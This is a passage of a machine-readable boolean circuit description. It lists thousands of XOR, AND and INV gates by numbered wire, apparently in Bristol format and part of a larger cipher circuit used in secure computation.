34702 471 33422 XOR +2 1 5002 5004 5165 XOR +2 1 5165 5164 34719 XOR +2 1 34719 454 33439 XOR +2 1 33439 33441 17470 XOR +1 1 21181 33002 INV +2 1 32738 33002 5026 XOR +2 1 33002 32747 5131 XOR +2 1 5026 34825 5130 XOR +2 1 5130 5129 34699 XOR +2 1 34699 474 33419 XOR +2 1 5017 33002 5157 XOR +1 1 5157 5159 INV +2 1 5159 5158 34715 XOR +2 1 34715 458 33435 XOR +2 1 33435 33437 22058 XOR +2 1 22058 22153 22138 XOR +2 1 22153 22138 22129 AND +2 1 5024 5026 5177 XOR +2 1 32748 5177 34724 XOR +2 1 34724 449 33444 XOR +2 1 33442 33444 17473 XOR +2 1 33438 33444 17477 XOR +2 1 33443 17477 17562 XOR +2 1 33439 17562 17558 XOR +2 1 17473 33443 17432 XOR +2 1 33438 17432 17561 XOR +2 1 17561 33438 17547 AND +2 1 17562 17558 17545 AND +2 1 5013 5026 5149 XOR +2 1 32747 5149 34707 XOR +2 1 34707 466 33427 XOR +2 1 33427 33429 18444 XOR +2 1 18444 18539 18524 XOR +2 1 18539 18524 18515 AND +1 1 21182 33003 INV +2 1 32748 33003 5023 XOR +2 1 5017 5023 5150 XOR +2 1 5023 5042 5133 XOR +2 1 32732 5150 34708 XOR +2 1 34708 465 33428 XOR +2 1 33426 33428 18446 XOR +2 1 33422 33428 18450 XOR +2 1 18444 18450 18532 XOR +2 1 33427 18450 18535 XOR +2 1 18446 18444 18406 XOR +2 1 18446 33427 18405 XOR +2 1 33422 18405 18534 XOR +2 1 18534 33422 18520 AND +2 1 5024 33003 5132 XOR +2 1 5132 5131 34700 XOR +2 1 34700 473 33420 XOR +2 1 33418 33420 20392 XOR +2 1 33414 33420 20396 XOR +2 1 33419 20396 20481 XOR +2 1 20392 33419 20351 XOR +2 1 33414 20351 20480 XOR +2 1 20480 33414 20466 AND +2 1 5041 33003 5179 XOR +2 1 5179 5178 34725 XOR +2 1 34725 448 33445 XOR +2 1 33443 33445 17471 XOR +2 1 33442 33445 17564 XOR +2 1 17471 17477 17559 XOR +2 1 17470 17564 17556 XOR +2 1 33438 17556 17555 XOR +2 1 17473 17471 17433 XOR +2 1 17470 17433 17554 XOR +2 1 33445 33439 17565 XOR +2 1 34818 5133 34701 XOR +2 1 34701 472 33421 XOR +2 1 33419 33421 20390 XOR +2 1 33418 33421 20483 XOR +2 1 20390 20396 20478 XOR +2 1 20392 20390 20352 XOR +2 1 5023 32738 5161 XOR +2 1 5161 5160 34716 XOR +2 1 34716 457 33436 XOR +2 1 33434 33436 22060 XOR +2 1 33430 33436 22064 XOR +2 1 22058 22064 22146 XOR +2 1 33435 22064 22149 XOR +2 1 22060 22058 22020 XOR +2 1 22060 33435 22019 XOR +2 1 33430 22019 22148 XOR +2 1 22148 33430 22134 AND +1 1 21183 33004 INV +2 1 5034 33004 5276 XOR +2 1 5276 5275 4958 XOR +2 1 5011 33004 5128 XOR +2 1 5128 5127 34696 XOR +2 1 34696 477 33416 XOR +2 1 4958 5002 34711 XOR +2 1 34711 462 33431 XOR +2 1 32733 33004 5008 XOR +2 1 4953 5008 34695 XOR +2 1 34695 478 33415 XOR +2 1 33415 33417 20389 XOR +2 1 33416 20389 20391 XOR +2 1 33420 20391 20472 XOR +2 1 33419 20391 20469 XOR +2 1 20396 20391 20471 XOR +2 1 33415 20481 20477 XOR +2 1 20389 20483 20475 XOR +2 1 33414 20475 20474 XOR +2 1 33415 33416 20406 XOR +2 1 20406 20478 20476 XOR +2 1 20483 20406 20479 XOR +2 1 33416 33418 20485 XOR +2 1 20390 20485 20470 XOR +2 1 33417 33416 20366 XOR +2 1 20389 20352 20473 XOR +2 1 33421 33415 20484 XOR +2 1 33421 33416 20482 XOR +2 1 20475 20479 20468 AND +2 1 20468 20392 20395 XOR +2 1 20476 20474 20467 AND +2 1 20484 20469 20465 AND +2 1 20465 20390 20394 XOR +2 1 20481 20477 20464 AND +2 1 20478 20471 20463 AND +2 1 20483 20472 20462 AND +2 1 20462 20391 20393 XOR +2 1 20395 20393 20399 XOR +2 1 33421 20399 20404 XOR +2 1 20485 20470 20461 AND +2 1 20461 20467 20413 XOR +2 1 20413 20404 20459 XOR +2 1 20461 20462 20365 XOR +2 1 20365 20366 20412 XOR +2 1 20412 20394 20411 XOR +2 1 20464 20411 20458 XOR +2 1 20482 20473 20460 AND +2 1 20460 20463 20414 XOR +2 1 20460 20466 20418 XOR +2 1 20418 20390 20405 XOR +2 1 20413 20405 20456 XOR +2 1 20461 20414 20408 XOR +2 1 20394 20414 20368 XOR +2 1 20368 20393 20457 XOR +2 1 20399 20418 20367 XOR +2 1 33419 20367 20410 XOR +2 1 20464 20408 20364 XOR +2 1 33415 20364 20451 XOR +2 1 20459 20458 20455 AND +2 1 20455 20410 20450 XOR +2 1 20455 20457 20454 XOR +2 1 20456 20454 20453 AND +2 1 20453 20410 20452 XOR +2 1 20453 20465 20359 XOR +2 1 20359 20395 20355 XOR +2 1 33421 20355 20358 XOR +2 1 20453 20404 20356 XOR +2 1 33419 20355 20354 XOR +2 1 20450 20451 20449 AND +2 1 20449 20457 20448 XOR +2 1 20455 20449 20447 XOR +2 1 20449 20408 20363 XOR +2 1 20449 20466 20362 XOR +2 1 20362 20463 20357 XOR +2 1 20357 20358 20440 XOR +2 1 20457 20447 20446 AND +2 1 20446 20454 20444 XOR +2 1 20446 20464 20417 XOR +2 1 20417 20411 20438 XOR +2 1 33415 20417 20400 XOR +2 1 20400 20363 20445 XOR +2 1 20452 20444 20443 AND +2 1 20443 20413 20403 XOR +2 1 20403 20405 20442 XOR +2 1 20443 20467 20361 XOR +2 1 20400 20361 20353 XOR +2 1 20390 20353 20360 XOR +2 1 20357 20360 20441 XOR +2 1 20403 20356 20439 XOR +2 1 20353 20354 20437 XOR +2 1 20438 20475 20436 AND +2 1 20445 20474 20435 AND +2 1 20448 33414 20434 AND +2 1 20434 20436 20416 XOR +2 1 20439 20469 20433 AND +2 1 20442 20481 20432 AND +2 1 20452 20471 20431 AND +2 1 20431 20432 20370 XOR +2 1 20440 20472 20430 AND +2 1 20437 20470 20429 AND +2 1 20429 20432 20385 XOR +1 1 20385 20382 INV +2 1 20429 20430 20381 XOR +2 1 20441 20473 20428 AND +2 1 20438 20479 20427 AND +2 1 20445 20476 20426 AND +2 1 20448 20480 20425 AND +2 1 20439 20484 20424 AND +2 1 20424 20428 20401 XOR +2 1 20433 20424 20386 XOR +1 1 20401 20379 INV +2 1 20442 20477 20423 AND +2 1 20431 20423 20388 XOR +2 1 20452 20478 20422 AND +2 1 20379 20422 20378 XOR +2 1 20378 20416 20374 XOR +2 1 20440 20483 20421 AND +2 1 20421 20374 20377 XOR +2 1 20437 20485 20420 AND +2 1 20420 20421 20415 XOR +2 1 20426 20415 20397 XOR +2 1 20427 20397 20398 XOR +2 1 20435 20398 20402 XOR +2 1 20436 20402 20407 XOR +2 1 20388 20415 20384 XOR +2 1 20416 20384 20387 XOR +2 1 20386 20387 20489 XOR +2 1 20379 20384 20383 XOR +2 1 20382 20383 20488 XOR +2 1 20407 20381 20487 XOR +2 1 20397 20374 20373 XOR +2 1 20434 20402 20371 XOR +2 1 20370 20371 34992 XOR +2 1 20441 20482 20419 AND +2 1 20430 20419 20380 XOR +1 1 20380 20376 INV +2 1 20376 20377 20486 XOR +2 1 33431 33433 22057 XOR +2 1 33432 22057 22059 XOR +2 1 33436 22059 22140 XOR +2 1 33435 22059 22137 XOR +2 1 22064 22059 22139 XOR +2 1 33431 22149 22145 XOR +2 1 22057 22151 22143 XOR +2 1 33430 22143 22142 XOR +2 1 33431 33432 22074 XOR +2 1 22074 22146 22144 XOR +2 1 22151 22074 22147 XOR +2 1 22057 22020 22141 XOR +2 1 33437 33431 22152 XOR +2 1 22143 22147 22136 AND +2 1 22136 22060 22063 XOR +2 1 22144 22142 22135 AND +2 1 22129 22135 22081 XOR +2 1 22152 22137 22133 AND +2 1 22133 22058 22062 XOR +2 1 22149 22145 22132 AND +2 1 22146 22139 22131 AND +2 1 22151 22140 22130 AND +2 1 22130 22059 22061 XOR +2 1 22063 22061 22067 XOR +2 1 33437 22067 22072 XOR +2 1 22081 22072 22127 XOR +2 1 22129 22130 22033 XOR +2 1 22033 22034 22080 XOR +2 1 22080 22062 22079 XOR +2 1 22132 22079 22126 XOR +2 1 22150 22141 22128 AND +2 1 22128 22131 22082 XOR +2 1 22128 22134 22086 XOR +2 1 22086 22058 22073 XOR +2 1 22081 22073 22124 XOR +2 1 22129 22082 22076 XOR +2 1 22062 22082 22036 XOR +2 1 22036 22061 22125 XOR +2 1 22067 22086 22035 XOR +2 1 33435 22035 22078 XOR +2 1 22132 22076 22032 XOR +2 1 33431 22032 22119 XOR +2 1 22127 22126 22123 AND +2 1 22123 22078 22118 XOR +2 1 22123 22125 22122 XOR +2 1 22124 22122 22121 AND +2 1 22121 22078 22120 XOR +2 1 22121 22133 22027 XOR +2 1 22027 22063 22023 XOR +2 1 33437 22023 22026 XOR +2 1 22121 22072 22024 XOR +2 1 33435 22023 22022 XOR +2 1 22118 22119 22117 AND +2 1 22117 22125 22116 XOR +2 1 22123 22117 22115 XOR +2 1 22117 22076 22031 XOR +2 1 22117 22134 22030 XOR +2 1 22030 22131 22025 XOR +2 1 22025 22026 22108 XOR +2 1 22125 22115 22114 AND +2 1 22114 22122 22112 XOR +2 1 22114 22132 22085 XOR +2 1 22085 22079 22106 XOR +2 1 33431 22085 22068 XOR +2 1 22068 22031 22113 XOR +2 1 22120 22112 22111 AND +2 1 22111 22081 22071 XOR +2 1 22071 22073 22110 XOR +2 1 22111 22135 22029 XOR +2 1 22068 22029 22021 XOR +2 1 22058 22021 22028 XOR +2 1 22025 22028 22109 XOR +2 1 22071 22024 22107 XOR +2 1 22021 22022 22105 XOR +2 1 22106 22143 22104 AND +2 1 22113 22142 22103 AND +2 1 22116 33430 22102 AND +2 1 22102 22104 22084 XOR +2 1 22107 22137 22101 AND +2 1 22110 22149 22100 AND +2 1 22120 22139 22099 AND +2 1 22099 22100 22038 XOR +2 1 22108 22140 22098 AND +2 1 22105 22138 22097 AND +2 1 22097 22100 22053 XOR +1 1 22053 22050 INV +2 1 22097 22098 22049 XOR +2 1 22109 22141 22096 AND +2 1 22106 22147 22095 AND +2 1 22113 22144 22094 AND +2 1 22116 22148 22093 AND +2 1 22107 22152 22092 AND +2 1 22092 22096 22069 XOR +2 1 22101 22092 22054 XOR +1 1 22069 22047 INV +2 1 22110 22145 22091 AND +2 1 22099 22091 22056 XOR +2 1 22120 22146 22090 AND +2 1 22047 22090 22046 XOR +2 1 22046 22084 22042 XOR +2 1 22108 22151 22089 AND +2 1 22089 22042 22045 XOR +2 1 22105 22153 22088 AND +2 1 22088 22089 22083 XOR +2 1 22094 22083 22065 XOR +2 1 22095 22065 22066 XOR +2 1 22103 22066 22070 XOR +2 1 22104 22070 22075 XOR +2 1 22056 22083 22052 XOR +2 1 22084 22052 22055 XOR +2 1 22054 22055 22157 XOR +2 1 22047 22052 22051 XOR +2 1 22050 22051 22156 XOR +2 1 22075 22049 22155 XOR +2 1 22065 22042 22041 XOR +2 1 22102 22070 22039 XOR +2 1 22038 22039 35040 XOR +2 1 35040 5604 5614 XOR +2 1 22109 22150 22087 AND +2 1 22098 22087 22048 XOR +1 1 22048 22044 INV +2 1 22044 22045 22154 XOR +2 1 5006 5008 5166 XOR +2 1 34819 5166 34720 XOR +2 1 34720 453 33440 XOR +2 1 33440 17470 17472 XOR +2 1 33444 17472 17553 XOR +2 1 33443 17472 17550 XOR +2 1 17477 17472 17552 XOR +2 1 33439 33440 17487 XOR +2 1 17487 17559 17557 XOR +2 1 17564 17487 17560 XOR +2 1 33440 33442 17566 XOR +2 1 17471 17566 17551 XOR +2 1 33441 33440 17447 XOR +2 1 33445 33440 17563 XOR +2 1 17556 17560 17549 AND +2 1 17549 17473 17476 XOR +2 1 17557 17555 17548 AND +2 1 17565 17550 17546 AND +2 1 17546 17471 17475 XOR +2 1 17559 17552 17544 AND +2 1 17564 17553 17543 AND +2 1 17543 17472 17474 XOR +2 1 17476 17474 17480 XOR +2 1 33445 17480 17485 XOR +2 1 17566 17551 17542 AND +2 1 17542 17548 17494 XOR +2 1 17494 17485 17540 XOR +2 1 17542 17543 17446 XOR +2 1 17446 17447 17493 XOR +2 1 17493 17475 17492 XOR +2 1 17545 17492 17539 XOR +2 1 17563 17554 17541 AND +2 1 17541 17544 17495 XOR +2 1 17541 17547 17499 XOR +2 1 17499 17471 17486 XOR +2 1 17494 17486 17537 XOR +2 1 17542 17495 17489 XOR +2 1 17475 17495 17449 XOR +2 1 17449 17474 17538 XOR +2 1 17480 17499 17448 XOR +2 1 33443 17448 17491 XOR +2 1 17545 17489 17445 XOR +2 1 33439 17445 17532 XOR +2 1 17540 17539 17536 AND +2 1 17536 17491 17531 XOR +2 1 17536 17538 17535 XOR +2 1 17537 17535 17534 AND +2 1 17534 17491 17533 XOR +2 1 17534 17546 17440 XOR +2 1 17440 17476 17436 XOR +2 1 33445 17436 17439 XOR +2 1 17534 17485 17437 XOR +2 1 33443 17436 17435 XOR +2 1 17531 17532 17530 AND +2 1 17530 17538 17529 XOR +2 1 17536 17530 17528 XOR +2 1 17530 17489 17444 XOR +2 1 17530 17547 17443 XOR +2 1 17443 17544 17438 XOR +2 1 17438 17439 17521 XOR +2 1 17538 17528 17527 AND +2 1 17527 17535 17525 XOR +2 1 17527 17545 17498 XOR +2 1 17498 17492 17519 XOR +2 1 33439 17498 17481 XOR +2 1 17481 17444 17526 XOR +2 1 17533 17525 17524 AND +2 1 17524 17494 17484 XOR +2 1 17484 17486 17523 XOR +2 1 17524 17548 17442 XOR +2 1 17481 17442 17434 XOR +2 1 17471 17434 17441 XOR +2 1 17438 17441 17522 XOR +2 1 17484 17437 17520 XOR +2 1 17434 17435 17518 XOR +2 1 17519 17556 17517 AND +2 1 17526 17555 17516 AND +2 1 17529 33438 17515 AND +2 1 17515 17517 17497 XOR +2 1 17520 17550 17514 AND +2 1 17523 17562 17513 AND +2 1 17533 17552 17512 AND +2 1 17512 17513 17451 XOR +2 1 17521 17553 17511 AND +2 1 17518 17551 17510 AND +2 1 17510 17513 17466 XOR +1 1 17466 17463 INV +2 1 17510 17511 17462 XOR +2 1 17522 17554 17509 AND +2 1 17519 17560 17508 AND +2 1 17526 17557 17507 AND +2 1 17529 17561 17506 AND +2 1 17520 17565 17505 AND +2 1 17505 17509 17482 XOR +2 1 17514 17505 17467 XOR +1 1 17482 17460 INV +2 1 17523 17558 17504 AND +2 1 17512 17504 17469 XOR +2 1 17533 17559 17503 AND +2 1 17460 17503 17459 XOR +2 1 17459 17497 17455 XOR +2 1 17521 17564 17502 AND +2 1 17502 17455 17458 XOR +2 1 17518 17566 17501 AND +2 1 17501 17502 17496 XOR +2 1 17507 17496 17478 XOR +2 1 17508 17478 17479 XOR +2 1 17516 17479 17483 XOR +2 1 17517 17483 17488 XOR +2 1 17469 17496 17465 XOR +2 1 17497 17465 17468 XOR +2 1 17467 17468 17570 XOR +2 1 17460 17465 17464 XOR +2 1 17463 17464 17569 XOR +2 1 17488 17462 17568 XOR +2 1 17478 17455 17454 XOR +2 1 17515 17483 17452 XOR +2 1 17451 17452 35025 XOR +2 1 17522 17563 17500 AND +2 1 17511 17500 17461 XOR +1 1 17461 17457 INV +2 1 17457 17458 17567 XOR +2 1 35021 35025 5851 XOR +2 1 5001 5008 5140 XOR +2 1 5140 5139 5141 XOR +1 1 5141 34703 INV +2 1 34703 470 33423 XOR +2 1 33423 33425 18443 XOR +2 1 33424 18443 18445 XOR +2 1 33428 18445 18526 XOR +2 1 33427 18445 18523 XOR +2 1 18450 18445 18525 XOR +2 1 33423 18535 18531 XOR +2 1 18443 18537 18529 XOR +2 1 33422 18529 18528 XOR +2 1 33423 33424 18460 XOR +2 1 18460 18532 18530 XOR +2 1 18537 18460 18533 XOR +2 1 18443 18406 18527 XOR +2 1 33429 33423 18538 XOR +2 1 18529 18533 18522 AND +2 1 18522 18446 18449 XOR +2 1 18530 18528 18521 AND +2 1 18515 18521 18467 XOR +2 1 18538 18523 18519 AND +2 1 18519 18444 18448 XOR +2 1 18535 18531 18518 AND +2 1 18532 18525 18517 AND +2 1 18537 18526 18516 AND +2 1 18516 18445 18447 XOR +2 1 18449 18447 18453 XOR +2 1 33429 18453 18458 XOR +2 1 18467 18458 18513 XOR +2 1 18515 18516 18419 XOR +2 1 18419 18420 18466 XOR +2 1 18466 18448 18465 XOR +2 1 18518 18465 18512 XOR +2 1 18536 18527 18514 AND +2 1 18514 18517 18468 XOR +2 1 18514 18520 18472 XOR +2 1 18472 18444 18459 XOR +2 1 18467 18459 18510 XOR +2 1 18515 18468 18462 XOR +2 1 18448 18468 18422 XOR +2 1 18422 18447 18511 XOR +2 1 18453 18472 18421 XOR +2 1 33427 18421 18464 XOR +2 1 18518 18462 18418 XOR +2 1 33423 18418 18505 XOR +2 1 18513 18512 18509 AND +2 1 18509 18464 18504 XOR +2 1 18509 18511 18508 XOR +2 1 18510 18508 18507 AND +2 1 18507 18464 18506 XOR +2 1 18507 18519 18413 XOR +2 1 18413 18449 18409 XOR +2 1 33429 18409 18412 XOR +2 1 18507 18458 18410 XOR +2 1 33427 18409 18408 XOR +2 1 18504 18505 18503 AND +2 1 18503 18511 18502 XOR +2 1 18509 18503 18501 XOR +2 1 18503 18462 18417 XOR +2 1 18503 18520 18416 XOR +2 1 18416 18517 18411 XOR +2 1 18411 18412 18494 XOR +2 1 18511 18501 18500 AND +2 1 18500 18508 18498 XOR +2 1 18500 18518 18471 XOR +2 1 18471 18465 18492 XOR +2 1 33423 18471 18454 XOR +2 1 18454 18417 18499 XOR +2 1 18506 18498 18497 AND +2 1 18497 18467 18457 XOR +2 1 18457 18459 18496 XOR +2 1 18497 18521 18415 XOR +2 1 18454 18415 18407 XOR +2 1 18444 18407 18414 XOR +2 1 18411 18414 18495 XOR +2 1 18457 18410 18493 XOR +2 1 18407 18408 18491 XOR +2 1 18492 18529 18490 AND +2 1 18499 18528 18489 AND +2 1 18502 33422 18488 AND +2 1 18488 18490 18470 XOR +2 1 18493 18523 18487 AND +2 1 18496 18535 18486 AND +2 1 18506 18525 18485 AND +2 1 18485 18486 18424 XOR +2 1 18494 18526 18484 AND +2 1 18491 18524 18483 AND +2 1 18483 18486 18439 XOR +1 1 18439 18436 INV +2 1 18483 18484 18435 XOR +2 1 18495 18527 18482 AND +2 1 18492 18533 18481 AND +2 1 18499 18530 18480 AND +2 1 18502 18534 18479 AND +2 1 18493 18538 18478 AND +2 1 18478 18482 18455 XOR +2 1 18487 18478 18440 XOR +1 1 18455 18433 INV +2 1 18496 18531 18477 AND +2 1 18485 18477 18442 XOR +2 1 18506 18532 18476 AND +2 1 18433 18476 18432 XOR +2 1 18432 18470 18428 XOR +2 1 18494 18537 18475 AND +2 1 18475 18428 18431 XOR +2 1 18491 18539 18474 AND +2 1 18474 18475 18469 XOR +2 1 18480 18469 18451 XOR +2 1 18481 18451 18452 XOR +2 1 18489 18452 18456 XOR +2 1 18490 18456 18461 XOR +2 1 18442 18469 18438 XOR +2 1 18470 18438 18441 XOR +2 1 18440 18441 18543 XOR +2 1 18433 18438 18437 XOR +2 1 18436 18437 18542 XOR +2 1 18461 18435 18541 XOR +2 1 18451 18428 18427 XOR +2 1 18488 18456 18425 XOR +2 1 18424 18425 35053 XOR +2 1 18495 18536 18473 AND +2 1 18484 18473 18434 XOR +1 1 18434 18430 INV +2 1 18430 18431 18540 XOR +2 1 17513 17514 32679 XOR +2 1 32679 17488 35026 XOR +2 1 35022 35026 5846 XOR +2 1 17510 32679 17490 XOR +2 1 17506 17490 17456 XOR +1 1 17456 17453 INV +2 1 17453 17454 35024 XOR +2 1 17511 17490 17450 XOR +2 1 17479 17450 35027 XOR +2 1 35020 35024 5856 XOR +2 1 35023 35027 5825 XOR +2 1 5825 5695 5694 XOR +2 1 5825 35021 5701 XOR +2 1 18486 18487 32686 XOR +2 1 18483 32686 18463 XOR +2 1 18479 18463 18429 XOR +1 1 18429 18426 INV +2 1 18484 18463 18423 XOR +2 1 18452 18423 35055 XOR +2 1 18426 18427 35052 XOR +2 1 35053 35052 5577 XOR +2 1 32686 18461 35054 XOR +2 1 20432 20433 32700 XOR +2 1 32700 20407 34993 XOR +2 1 20429 32700 20409 XOR +2 1 20425 20409 20375 XOR +1 1 20375 20372 INV +2 1 20372 20373 34991 XOR +2 1 20430 20409 20369 XOR +2 1 20398 20369 34994 XOR +2 1 22100 22101 32712 XOR +2 1 32712 22075 35041 XOR +2 1 35041 35035 5655 XOR +2 1 22097 32712 22077 XOR +2 1 22093 22077 22043 XOR +1 1 22043 22040 INV +2 1 22040 22041 35039 XOR +2 1 35039 5611 5610 XOR +2 1 22098 22077 22037 XOR +2 1 22066 22037 35042 XOR +2 1 35038 35042 5831 XOR +1 1 5831 5612 INV +1 1 17569 32933 INV +2 1 5856 32933 5739 XOR +1 1 17570 32934 INV +1 1 17567 32939 INV +1 1 17568 32940 INV +1 1 18542 32949 INV +1 1 18543 32950 INV +1 1 18540 32955 INV +2 1 32955 35054 5792 XOR +1 1 18541 32956 INV +1 1 20486 32985 INV +1 1 20487 32986 INV +1 1 20488 32987 INV +1 1 20489 32988 INV +1 1 22157 33009 INV +1 1 22296 33013 INV +2 1 33013 32934 5863 XOR +1 1 22154 33014 INV +2 1 33014 25641 5652 XOR +1 1 22155 33015 INV +2 1 33015 25642 5650 XOR +1 1 22156 33016 INV +2 1 33016 25643 5657 XOR +1 1 22293 33018 INV +2 1 33018 32939 5841 XOR +2 1 5841 35026 5737 XOR +1 1 22294 33019 INV +2 1 35023 33019 5690 XOR +1 1 22295 33020 INV +2 1 33020 32933 5859 XOR +2 1 5825 33020 5704 XOR +1 1 25644 33068 INV +2 1 33009 33068 5608 XOR +1 1 32081 33221 INV +2 1 5027 33221 5237 XOR +2 1 5237 5236 34760 XOR +2 1 34760 413 33480 XOR +2 1 33221 32745 4990 XOR +1 1 4990 5081 INV +2 1 4990 5027 5059 XOR +2 1 34846 5059 34768 XOR +2 1 34768 405 33488 XOR +2 1 5081 4995 5083 XOR +2 1 4948 33221 5056 XOR +2 1 4950 4990 34775 XOR +2 1 34775 398 33495 XOR +2 1 33495 33497 5472 XOR +2 1 33496 5472 5474 XOR +2 1 33500 5474 5556 XOR +2 1 33489 33488 5310 XOR +2 1 33488 33490 5429 XOR +2 1 33493 33488 5426 XOR +2 1 5567 5556 5546 AND +2 1 5546 5474 5476 XOR +2 1 5472 5567 5559 XOR +2 1 33495 33496 5489 XOR +2 1 5567 5489 5563 XOR +2 1 5559 5563 5552 AND +2 1 5552 5475 5478 XOR +2 1 5478 5476 5482 XOR +2 1 33501 5482 5487 XOR +2 1 33501 33495 5568 XOR +2 1 33480 33482 22014 XOR +2 1 33481 33480 21895 XOR +1 1 32082 33222 INV +2 1 5033 33222 5280 XOR +2 1 33222 5055 34766 XOR +2 1 34766 407 33486 XOR +2 1 5280 5279 4956 XOR +2 1 4956 5015 34759 XOR +2 1 34759 414 33479 XOR +2 1 33222 32746 4982 XOR +2 1 4982 5030 5070 XOR +2 1 32770 5070 34774 XOR +2 1 34774 399 33494 XOR +2 1 33494 33500 5479 XOR +2 1 5479 5474 5555 XOR +2 1 4982 5015 5057 XOR +2 1 5057 5056 5058 XOR +1 1 5058 34767 INV +2 1 4982 5045 5080 XOR +2 1 32909 5080 34782 XOR +2 1 34782 391 33502 XOR +2 1 34767 406 33487 XOR +2 1 33487 33488 5350 XOR +2 1 33494 5559 5558 XOR +2 1 33493 33487 5428 XOR +2 1 5427 5350 5423 XOR +2 1 33479 33481 21918 XOR +2 1 33480 21918 21920 XOR +2 1 33483 21920 21998 XOR +2 1 33479 33480 21935 XOR +2 1 33487 33489 5333 XOR +2 1 33488 5333 5335 XOR +2 1 5333 5427 5419 XOR +2 1 5419 5423 5412 AND +2 1 33486 5419 5418 XOR +2 1 33502 33508 23454 XOR +1 1 32360 33225 INV +2 1 32756 33225 4977 XOR +2 1 4977 5043 5220 XOR +2 1 32913 33225 5260 XOR +2 1 5261 5260 4964 XOR +2 1 4964 4978 34743 XOR +2 1 34743 430 33463 XOR +2 1 33463 33465 20250 XOR +2 1 33464 20250 20252 XOR +2 1 33468 20252 20333 XOR +2 1 33467 20252 20330 XOR +2 1 33463 33464 20267 XOR +2 1 32913 5220 34750 XOR +2 1 34750 423 33470 XOR +2 1 33470 33476 20813 XOR +2 1 20807 20813 20895 XOR +2 1 33475 20813 20898 XOR +2 1 4977 4989 5197 XOR +2 1 4977 5036 5209 XOR +2 1 32752 5209 34742 XOR +2 1 34742 431 33462 XOR +2 1 33462 33468 20257 XOR +2 1 20257 20252 20332 XOR +2 1 33467 20257 20342 XOR +2 1 33463 20342 20338 XOR +2 1 33462 20212 20341 XOR +2 1 20341 33462 20327 AND +2 1 20342 20338 20325 AND +2 1 33225 5180 34726 XOR +2 1 34726 447 33446 XOR +2 1 33446 15332 15331 XOR +2 1 33446 33452 15253 XOR +2 1 15253 15248 15328 XOR +2 1 15247 15253 15335 XOR +2 1 15263 15335 15333 XOR +2 1 33451 15253 15338 XOR +2 1 33447 15338 15334 XOR +2 1 33446 15208 15337 XOR +2 1 15333 15331 15324 AND +2 1 15318 15324 15270 XOR +2 1 15270 15261 15316 XOR +2 1 15337 33446 15323 AND +2 1 15317 15323 15275 XOR +2 1 15275 15247 15262 XOR +2 1 15270 15262 15313 XOR +2 1 15256 15275 15224 XOR +2 1 33451 15224 15267 XOR +2 1 15338 15334 15321 AND +2 1 15321 15268 15315 XOR +2 1 15335 15328 15320 AND +2 1 15317 15320 15271 XOR +2 1 15318 15271 15265 XOR +2 1 15251 15271 15225 XOR +2 1 15225 15250 15314 XOR +2 1 15321 15265 15221 XOR +2 1 33447 15221 15308 XOR +2 1 15316 15315 15312 AND +2 1 15312 15267 15307 XOR +2 1 15312 15314 15311 XOR +2 1 15313 15311 15310 AND +2 1 15310 15267 15309 XOR +2 1 15310 15322 15216 XOR +2 1 15216 15252 15212 XOR +2 1 33453 15212 15215 XOR +2 1 15310 15261 15213 XOR +2 1 33451 15212 15211 XOR +2 1 15307 15308 15306 AND +2 1 15306 15314 15305 XOR +2 1 15312 15306 15304 XOR +2 1 15306 15265 15220 XOR +2 1 15306 15323 15219 XOR +2 1 15219 15320 15214 XOR +2 1 15214 15215 15297 XOR +2 1 15314 15304 15303 AND +2 1 15303 15311 15301 XOR +2 1 15303 15321 15274 XOR +2 1 15274 15268 15295 XOR +2 1 33447 15274 15257 XOR +2 1 15257 15220 15302 XOR +2 1 15309 15301 15300 AND +2 1 15300 15270 15260 XOR +2 1 15260 15262 15299 XOR +2 1 15300 15324 15218 XOR +2 1 15257 15218 15210 XOR +2 1 15247 15210 15217 XOR +2 1 15214 15217 15298 XOR +2 1 15260 15213 15296 XOR +2 1 15210 15211 15294 XOR +2 1 15295 15332 15293 AND +2 1 15302 15331 15292 AND +2 1 15305 33446 15291 AND +2 1 15291 15293 15273 XOR +2 1 15296 15326 15290 AND +2 1 15299 15338 15289 AND +2 1 15309 15328 15288 AND +2 1 15288 15289 15227 XOR +2 1 15297 15329 15287 AND +2 1 15294 15327 15286 AND +2 1 15286 15289 15242 XOR +1 1 15242 15239 INV +2 1 15286 15287 15238 XOR +2 1 15298 15330 15285 AND +2 1 15295 15336 15284 AND +2 1 15302 15333 15283 AND +2 1 15305 15337 15282 AND +2 1 15296 15341 15281 AND +2 1 15281 15285 15258 XOR +2 1 15290 15281 15243 XOR +1 1 15258 15236 INV +2 1 15299 15334 15280 AND +2 1 15288 15280 15245 XOR +2 1 15309 15335 15279 AND +2 1 15236 15279 15235 XOR +2 1 15235 15273 15231 XOR +2 1 15297 15340 15278 AND +2 1 15278 15231 15234 XOR +2 1 15294 15342 15277 AND +2 1 15277 15278 15272 XOR +2 1 15283 15272 15254 XOR +2 1 15284 15254 15255 XOR +2 1 15292 15255 15259 XOR +2 1 15293 15259 15264 XOR +2 1 15245 15272 15241 XOR +2 1 15273 15241 15244 XOR +2 1 15243 15244 15346 XOR +2 1 15236 15241 15240 XOR +2 1 15239 15240 15345 XOR +2 1 15264 15238 15344 XOR +2 1 15254 15231 15230 XOR +2 1 15291 15259 15228 XOR +2 1 15227 15228 35012 XOR +2 1 15298 15339 15276 AND +2 1 15287 15276 15237 XOR +1 1 15237 15233 INV +2 1 15233 15234 15343 XOR +2 1 15289 15290 32663 XOR +2 1 32663 15264 35013 XOR +2 1 15286 32663 15266 XOR +2 1 15282 15266 15232 XOR +1 1 15232 15229 INV +2 1 15229 15230 35011 XOR +2 1 15287 15266 15226 XOR +2 1 15255 15226 35014 XOR +2 1 35014 35027 5835 XOR +2 1 5835 35025 5586 XOR +1 1 5835 5582 INV +2 1 5582 32934 5580 XOR +2 1 5582 35024 5583 XOR +2 1 5863 5835 5741 XOR +1 1 15346 32905 INV +1 1 15343 32910 INV +2 1 32939 32910 5736 XOR +1 1 15344 32911 INV +2 1 35014 32911 5717 XOR +2 1 32911 32940 5844 XOR +2 1 5844 5825 5734 XOR +2 1 5844 33018 5707 XOR +1 1 15345 32912 INV +1 1 32079 33226 INV +2 1 33226 32767 5010 XOR +2 1 5010 5022 5052 XOR +2 1 32080 33226 5066 XOR +2 1 5067 5066 5068 XOR +2 1 4979 5010 5063 XOR +1 1 5068 34772 INV +2 1 34772 401 33492 XOR +2 1 33490 33492 5336 XOR +2 1 5010 34857 5076 XOR +2 1 5076 5075 34779 XOR +2 1 34779 394 33499 XOR +2 1 33499 33501 5473 XOR +2 1 33499 5474 5553 XOR +2 1 32914 5063 34771 XOR +2 1 34771 402 33491 XOR +2 1 33491 33493 